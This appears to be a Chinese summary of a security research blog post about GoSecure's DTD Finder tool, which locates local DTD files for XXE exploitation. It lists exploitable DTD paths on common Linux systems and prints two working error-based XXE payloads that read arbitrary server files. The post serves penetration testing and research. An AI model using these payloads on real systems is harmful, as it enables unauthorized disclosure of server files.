https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html
这篇文章的作者团队,写了一个工具来挖掘一些可利用的DTD文件,https://github.com/GoSecure/dtd-finder,这篇文章主要是介绍其编写思路
近年来,出现了许多用XML payload进行攻击的方法
- https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf(2013) by Timur Yunusov & Alexey Osipov.
- http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.htmlby Ivan Novikov.
- https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf(2013) by Timothy D. Morgan.
- https://www.synacktiv.com/ressources/synacktiv_drupal_xxe_services.pdf(2015) by Renaud Dubourguais.
- https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/(2015) by Antti Rantasaari.
- https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/(~2016-2018) by Arseniy Sharoglazov.
从上往下是2013年-2018年的技术迭代,从而我们可以发现一个趋势:使用DTD,而这些DTD文件部署在远程HTTP服务器上,不过基于网络的复杂性,这样的外带请求可能会失败,这时候我们可以参考上方最后一篇文献,进行一个本地化的DTD攻击。
Arseniy Sharoglazov的文章中给出了一部分的payload,我们可以顺着他的思路,去挖掘一些新的。
由于当system实体为目录时将列出文件,因此我们可以写个脚本浏览远程文件系统,不过为了方便,在这里我们列出了常用linux发行版中存在的一小部分payload
./properties/schemas/j2ee/XMLSchema.dtd
./../properties/schemas/j2ee/XMLSchema.dtd
./../../properties/schemas/j2ee/XMLSchema.dtd
/usr/share/java/jsp-api-2.2.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/java/jsp-api-2.3.jar!/javax/servlet/jsp/resources/jspxml.dtd
/root/usr/share/doc/rh-python34-python-docutils-0.12/docs/ref/docutils.dtd
/root/usr/share/doc/rh-python35-python-docutils-0.12/docs/ref/docutils.dtd
/usr/share/doc/python2-docutils/docs/ref/docutils.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd
/usr/share/boostbook/dtd/1.1/boostbook.dtd
/usr/share/boostbook/dtd/boostbook.dtd
/usr/share/dblatex/schema/dblatex-config.dtd
/usr/share/struts/struts-config_1_0.dtd
/opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
这些DTD文件来自Ubuntu、centos的仓库和google,当我们确认存在一个dtd文件,就可以来尝试攻击了,这里是一个攻击示例
当发现一个漏洞的时候,我们会想着,能不能自动化一下,这里我们需要自动化增加DTD列表,这就要求我们需要在不同系统里查找DTD文件,然后我们还需要自动化生成payload。
如何增加DTD列表
我们选择了几个常见的Linux发行版:Ubuntu、CentOS和Arch Linux,然后我们还发现DTD不仅存在于Linux发行版的官方软件包,也存在于各种语言自带的软件包,比如Ruby、Python、NPM这些语言的软件包中。
其次我们还选择了Docker容器来安装这些Java程序:tomcat、weblogic、jboss、JDK等。只有OpenJDK的容器里的DTD文件很少,而且都不能利用,而这些Web容器的DTD文件就相对多一些。
实体注入类型
获取了一定的DTD列表之后,我们可以列出了可利用的实体,对于其中的每一个,我们都需要查看用法并使用适当的payload。这里是两种注入类型
元素注入
fonts.dtd
<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
|name|const
|or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
|plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
<!ELEMENT test (%expr;)*>
XXE payload (实体中表达式被覆盖)
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message></message>
ATTLIST 注入
mbeans-descriptors.dtd
<!ENTITY % Boolean "(true|false|yes|no)">
[...]
<!ATTLIST attribute is %Boolean; #IMPLIED>
<!ATTLIST attribute readable %Boolean; #IMPLIED>
<!ATTLIST attribute writeable %Boolean; #IMPLIED>
XXE payload (实体中布尔值被覆盖)
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd">
<!ENTITY % Boolean '(aa) #IMPLIED>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ATTLIST attxx aa "bb"'>
%local_dtd;
]>
<message></message>
我们可以发现,不同的情况下,我们需要使用不同的payload,从我们获取到的DTD样本中,我们归纳了5种类型,我们使用这五种基本类型来自动构造新的payload。
我们使用xml解析器来测试每个payload是否生效。
小结
总结一下,我们的工具DTD finder做了这些事
- 从 jar zip 文件及其他地方搜索DTD文件
- 列出其中声明的实体
- 测试每个实体能否注入
- 输出结果报告
Docker文件系统导出中DTD枚举的演示如下
使用本地DTD文件来利用XXE将成为Web渗透测试人员的常见做法。高效查找常见的DTD文件应使任务更轻松。生成有效载荷后,即使XML知识有限,测试人员也可以访问攻击。
为了重现上面的演示,您可以在GoSecure的GitHub上使用DTD Finder工具。该工具可用于生成特定系统的列表。您无需运行该工具即可获取XXE有效负载。我们已经生成了具有超过50个DTD的有效XXE有效载荷的列表。